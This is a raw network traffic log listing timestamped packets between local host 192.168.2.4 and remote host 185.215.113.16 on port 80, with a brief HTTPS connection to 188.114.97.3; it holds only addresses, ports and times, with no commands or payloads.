Oct 31, 2024 20:52:23.746494055 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.746505976 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.746517897 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.746543884 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.746572018 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.763678074 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.763715029 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.763729095 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.763741016 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.763752937 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.763782024 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.805385113 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.805399895 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.805413008 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.805445910 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.805478096 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.833218098 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.833235979 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.833254099 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.833275080 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.833317041 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.833348036 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.833388090 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.833479881 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.833492041 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.833514929 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.833534956 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.833671093 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.833714962 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.833739042 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.833750963 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.833785057 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.864290953 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.864350080 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.864389896 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.864402056 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.864425898 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.864451885 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.864795923 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.864809036 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.864820957 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.864835024 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.864847898 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.864876032 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.864959955 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.865001917 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.865010977 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.865025997 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.865052938 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.865065098 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.867434978 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.867479086 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.867512941 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.867535114 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.867544889 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.867552996 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.867588043 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.884869099 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.884881973 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.884893894 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.884924889 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.884970903 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.926139116 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.926151037 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.926229000 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.926476002 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.926486969 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.926532030 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.954504013 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.954516888 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.954529047 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.954549074 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.954561949 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.954693079 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.954893112 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.954899073 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.954953909 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.955040932 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.955051899 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.955096006 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.985765934 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.985780001 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.985791922 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.985814095 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.985826015 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.985893011 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.985910892 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.986156940 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.986169100 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.986181021 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.986208916 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.986223936 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.988835096 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.988847017 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.988857031 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.988893032 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.988985062 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.989031076 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.989042044 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.989057064 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.989057064 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.989072084 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:24.006453991 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:24.006469011 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:24.006479979 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:24.006522894 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:24.006680965 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:24.047434092 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:24.047451019 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:24.047462940 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:24.047497034 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:24.047523022 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:24.076189041 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:24.076255083 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:24.076258898 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:24.076267004 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:24.076282024 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:24.076294899 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:24.076303005 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:24.076338053 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:24.076555014 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:24.076571941 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:24.076585054 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:24.076601982 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:24.076632977 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:24.155638933 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:24.155683994 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:24.155780077 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:24.156359911 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:24.156373978 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:25.148564100 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148586035 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148596048 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148601055 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148607969 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148613930 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148627996 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148634911 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148642063 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148732901 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.148744106 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148751020 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148757935 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148763895 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148771048 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148776054 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148787022 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148799896 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.148830891 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.148863077 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148869038 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148880005 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.148912907 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.149102926 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.149152994 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.149425983 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.149435997 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.149441957 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.149482012 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.149686098 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.149698019 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.149710894 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.149715900 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.149722099 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.149729013 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.149763107 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.149807930 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.149815083 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.149821997 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.149852037 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.149890900 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.150342941 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150351048 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150362015 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150407076 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.150465965 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150473118 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150489092 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150499105 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150506020 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150510073 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150516033 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150518894 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.150523901 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150547981 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.150572062 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.150871038 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150876999 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150887966 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150895119 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150907993 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.150923967 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.150942087 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.151052952 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.154210091 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.154309034 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.154818058 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.156610012 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.156616926 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.156630993 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.156641960 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.156647921 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.156660080 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.156661987 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.156687975 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.156723976 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.158181906 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.158217907 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.158227921 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.158272028 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.158292055 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.158298016 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.158309937 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.158346891 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.158361912 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.158504009 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.158514977 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.158526897 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.158531904 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.158550024 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.158555031 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.158555984 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.158602953 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.158602953 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.159487963 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.159495115 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.159507990 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.159513950 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.159528017 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.159538984 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.159539938 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.159545898 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.159579992 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.159605026 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.160353899 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.160360098 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.160372972 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.160378933 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.160386086 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.160392046 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.160417080 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.160455942 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.161390066 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.161396980 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.161408901 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.161422014 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.161425114 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.161429882 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.161442041 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.161473989 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.162323952 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.162336111 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.162343025 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.162348986 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.162362099 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.162368059 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.162369967 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.162411928 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.163326025 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.163332939 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.163340092 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.163388014 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.163414955 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.163491011 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.163573027 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.163578987 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.163619041 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.163628101 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.163651943 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.163655996 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.163661003 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.163703918 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.164433002 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.164464951 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.164470911 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.164515018 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.165327072 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.165334940 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.165391922 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.165461063 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.165467978 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.165473938 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.165505886 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.165517092 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.165524006 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.165534019 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.165539980 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.165564060 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.165591955 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.166228056 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.166409969 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.166419983 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.166428089 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.166474104 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.166475058 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.166481972 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.166495085 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.166523933 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.166543961 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.167408943 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.167465925 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.167548895 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.167563915 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.167568922 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.167588949 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.167614937 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.167670965 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.167676926 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.167689085 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.167730093 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.168585062 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.168592930 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.168605089 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.168643951 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.168653011 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.168664932 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.168668032 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.168699980 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.168719053 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.169574022 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.169681072 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.169714928 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.169722080 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.169734001 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.169740915 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.169754028 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.169759989 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.169764996 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.169806957 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.169852018 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.169858932 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.169871092 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.169879913 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.169909000 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.169924021 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.170228004 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170238972 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170253038 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170258999 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170296907 CET	49750	80	192.168.2.4	185.215.113.16
